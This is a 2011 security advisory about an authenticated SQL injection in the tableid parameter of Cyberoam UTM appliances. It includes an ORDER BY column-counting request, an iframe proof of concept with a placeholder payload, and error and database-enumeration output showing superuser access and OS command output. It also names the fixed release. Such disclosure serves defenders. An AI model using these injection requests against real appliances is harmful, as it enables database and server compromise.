Cyberoam UTM Application CR300i / CR500i v10 SQL Injection

2011-12-20T00:00:00
ID PACKETSTORM:108041
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2011-12-20T00:00:00

Description

                                        
                                            `Title:  
======  
Cyberoam UTM Appliance - SQL Injection Vulnerability  
  
  
Date:  
=====  
2011-12-19  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=60  
  
  
VL-ID:  
=====  
60  
  
  
Introduction:  
=============  
Small and medium enterprises are as much at risk as large enterprises from the targeted attacks of today. They need to protect their networks   
effectively from external and internal threats without a large security budget. Cyberoam CR50ia, CR100ia, CR200i and CR300i are powerful   
identity-based unified threat management appliances, delivering comprehensive protection to small and medium enterprises (SMEs) with limited   
investment in financial and technical resources. Cyberoam gateway security appliance offers protection from blended threats that include virus,   
spam, malware, phishing, pharming. Its unique identity-based security based on Layer 8 technology protects enterprises from internal threats that   
lead to data theft and loss by giving complete visibility into and control over internal users.  
  
(Copy of the Vendor Homepage: http://cyberoam.com/crismes.html)  
  
  
Abstract:  
=========  
Vulnerability-Lab Team discovered a SQL Injection Vulnerability on the Cyberoam UTM & Security Appliance.  
  
  
Report-Timeline:  
================  
2011-12-19: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Cyberoam UTM Appliance CR300i, CR500i v10 & older versions  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A critical SQL Injection vulnerability is detected on the Cyberoam UTM WAF Appliance v10.x. The vulnerability allows an attacker to inject   
own sql statements on the affected firewall appliance dbms. Remote attackers can takeover the server and compromise the dbms & appliance.  
  
Vulnerable Module(s):   
  
[+] Controller - (?mode=301&tableid=[[]]&sort=&dir=)  
  
  
  
--- SQL Error Logs ---  
java.sql.SQLException: ERROR: each UNION query must have the same number of columns  
...  
java.sql.SQLException: ERROR: UNION types character varying and integer cannot be matched  
...  
  
java.sql.SQLException: ERROR: ORDER BY position 100 is not in select list  
java.sql.SQLException: ERROR: ORDER BY position 10 is not in select list  
java.sql.SQLException: ERROR: ORDER BY position 9 is not in select list  
http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=1%20order%20by%208--&sort=&dir=  
java.sql.SQLException: ERROR: ERROR: ORDER BY position 8 org.postgresql.util.PSQLException: No results were returned by the query. <= Columns: 8  
...  
  
org.postgresql.util.PSQLException: No results were returned by the query.  
...  
  
java.sql.SQLException: ERROR: unterminated quoted string at or near and user_id=0  
...  
  
{totalRecords:1,records:[{natprofilename: MASQ ,manage natprofileid : 1 ,isdefault :y}]}  
...  
  
  
Affected Version(s):  
[+] Cyberoam UTM Appliance CR300i, CR500i v10 & older versions  
  
Pictures:  
../1.png  
../2.png  
../3.png  
../4.png  
../5.png  
../sql_1.png  
../sql_2.png  
../os_exec.png  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers with auth. For demonstration or reproduce ...  
  
<html><head>  
<body>  
<title>p0c</title>  
<iframe src=http://127.0.0.1:8080/corporate/Controller?mode=301&tableid=[SQL-IJ]&sort=&dir=>INJECT width=800 height=800>  
</body>  
</head>  
</html>  
  
  
Reference:  
[+] http://xxx.com/corporate/Controller?mode=301&tableid=2&sort=&dir=  
  
  
  
--- SQL Access Log ---  
  
current user: 'nobody'  
banner: 'PostgreSQL 8.4.3 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20070626 (Red Hat 4.1.2-13), 32-bit'  
current database: 'corporate'  
  
database management system users [1]:  
[*] nobody  
  
current user: 'nobody'  
  
database management system users privileges:  
[*] nobody (administrator) [3]:  
privilege: catupd  
privilege: createdb  
privilege: super  
available databases [1]:  
[*] corporate  
  
Database: public  
[34 tables]  
+---------------------------+  
| tblapplianceparam |  
| tblappliancespecificparam |  
| tblattributes |  
| tblcolumndetail |  
| tblcompany |  
| tblcrevent |  
| tblcrparam |  
| tblcrreplyparam |  
| tblddnsserviceprovider |  
| tblentity |  
| tblentitygrouprelation |  
| tblfirewallcolumns |  
| tblgroupcolumns |  
| tblicmpcode |  
| tblicmptype |  
| tblieentity |  
| tblieentityparam |  
| tblieregex |  
| tblimlogginglevel |  
| tblimprotocol |  
| tblinterface |  
| tblipprotocol |  
| tbllanguage |  
| tbllocalservice |  
| tbllocalservicetype |  
| tbllogoutput |  
| tbllogseverity |  
| tblmanagecolumn |  
| tbloperation |  
| tblregistration |  
| tblstatusmappings |  
| tbltheme |  
| tblurlacl |  
| tblweekday |  
+---------------------------+  
  
Database: public  
[34 tables]  
+---------------------------+  
| tblapplianceparam |  
| tblappliancespecificparam |  
| tblattributes |  
| tblcolumndetail |  
| tblcompany |  
| tblcrevent |  
| tblcrparam |  
| tblcrreplyparam |  
| tblddnsserviceprovider |  
| tblentity |  
| tblentitygrouprelation |  
| tblfirewallcolumns |  
| tblgroupcolumns |  
| tblicmpcode |  
| tblicmptype |  
| tblieentity |  
| tblieentityparam |  
| tblieregex |  
| tblimlogginglevel |  
| tblimprotocol |  
| tblinterface |  
| tblipprotocol |  
| tbllanguage |  
| tbllocalservice |  
| tbllocalservicetype |  
| tbllogoutput |  
| tbllogseverity |  
| tblmanagecolumn |  
| tbloperation |  
| tblregistration |  
| tblstatusmappings |  
| tbltheme |  
| tblurlacl |  
| tblweekday |  
+---------------------------+  
  
Command standard output: Linux localhost 2.6.27.45-crl #274 SMP Fri Jul 2 23:00:46 IST 2011 i686 unknown  
  
  
Solution:  
=========  
Release 10.01.2 build 059  
ID: 289938  
  
  
Risk:  
=====  
The security risk of the remote sql injection vulnerability is estimated as critical.  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) & Pim J.F. Campers (X4lt)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2011|Vulnerability-Lab  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com  
  
`